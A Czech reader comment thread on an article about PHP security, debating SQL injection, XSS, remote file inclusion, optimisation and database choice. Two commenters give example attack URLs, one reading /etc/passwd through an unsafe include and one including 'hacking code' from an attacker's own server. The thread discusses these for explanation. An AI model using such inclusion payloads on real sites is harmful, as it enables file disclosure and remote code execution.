Vlákno názorů k článku PHP pro experty: bezpečnost od jkt - a) napadne velky kus clanku pise to same,...

a) napadne velky kus clanku pise to same, co pravi PHP manual, mam na mysli predevsim SQL injections.

b) SQL injections a "osaleni" prvniho skriptu pres neco.php?page=/etc/passwd neni problem PHP, ale programatora; to same se prece da napsat i jako CGI v C/C++, Perlu,... a dokonce i v ASP ;-)
btw, bylo by dobre pohovorit i o XSS, tedy neco.php?page=http://muj.server/hackovaci-kod

c) kradeni vysledku MySQL - a jak muze _uzivatel_ (=browser) zobrazit obsah PHP promenne v programu bezicim na serveru?

d) bavime-li se o optimalizaci, tak je lepsi pouzivat ++$promenna; nez $promenna++;
(Zend optimizer Technical FAQ: One of the simpler optimizations that the Zend Optimizer does is to change post-incrementing to pre-incrementing, where possible, since preincrementing is the faster operation of the two.)

e) zamaskovani PHP - mno nevim, jaky to ma smysl, user stejne pozna, ze tam "neco" bezi podle URL obsahujici "?". leda, ze by byla dira v mod_php umoznujici DoS :-)

f) pardon, ale MS Access je nejvhodnejsi pro spojeni s PHP??? nonono...

g) jako skody (teda krome vetsiho mnozstvi prenesenych dat) zpusobi SELECT bez LIMITu?

ad b) XSS = CSS = Cross Site Scripting. To o cem mluvite se jemnuje Remote Code Execution/Remote Code Include. XSS se tyka ciste podstrceni nejakeho client side skriptovaciho kodu jednim userem browsicim server/webaplikaci nekomu jinemu, kdo ony stranky (nejlepe pak nezavisle) take browsi. V takovem pripade jde vetsinou pri nejhorsim o kradeze auth cookies a pod.

ad c) Pokud se napr. nazev vypisovane promenne prenasi s ostatnimy parametry (videl jsem i to), pak jeho modifikaci.

ad g) Pouzival jste nekdy profiler?

K tomu requiru/includu - souhlasim, ze by asi melo byt zmineno co jste uvedl. PHP ma defaultne povoleno jak u includu tak u requiru otevirani vzdalenych souboru, takze daleko nebezpecnejsi nez cteni lokalnich souboru je spusteni vlastniho kodu (napr. pres neco.php?page=http://muj.server/hackovaci-kod), ktery si tam uz muze delat cokoliv v ramci prav apache. Takze pristup do databaze, prohlizeni zdrojaku apod.

Nechci predbihat, treba to bude v dalsich dilech. Taky podstrkavani $_SESSION promennych pri startu session je celkem zajimava vec.

Jinak clanek a motivaci k celemu serialu hodnotim kladne a doufam, ze problematika bude probrana dostatecne do hloubky, aby se pripadne i zkusenejsi PHP programator dozvedel neco noveho.

a) Ano, protože PHP manuál je berná mince, co je tam je dobře.

b) no to samé se ale nedá napsat v Javě ;-) PHP je řekněme sráženo jen Javou, která je v bezpečnosti z principu na tom lépe

c) může, u složitějších skriptů se dají nalézt takové konstrukce

d) tohle není častý problém, většina "programátorů" v php ani neví, že inkrementace existuje, apokud jo, tu před ta už vůbec není moc známá

e) neví co tam běží, tohle doporučuje sám Zend

f) existuje hodně důvodů, proč právě MS Access

g) vetsi zatizeni databaze

a) souhlas
f) - cena, stabilita, kapacita a operacni prostredi - sama esa!

> existuje hodně důvodů, proč právě MS Access

Ty důvody bych opravdu rád znal.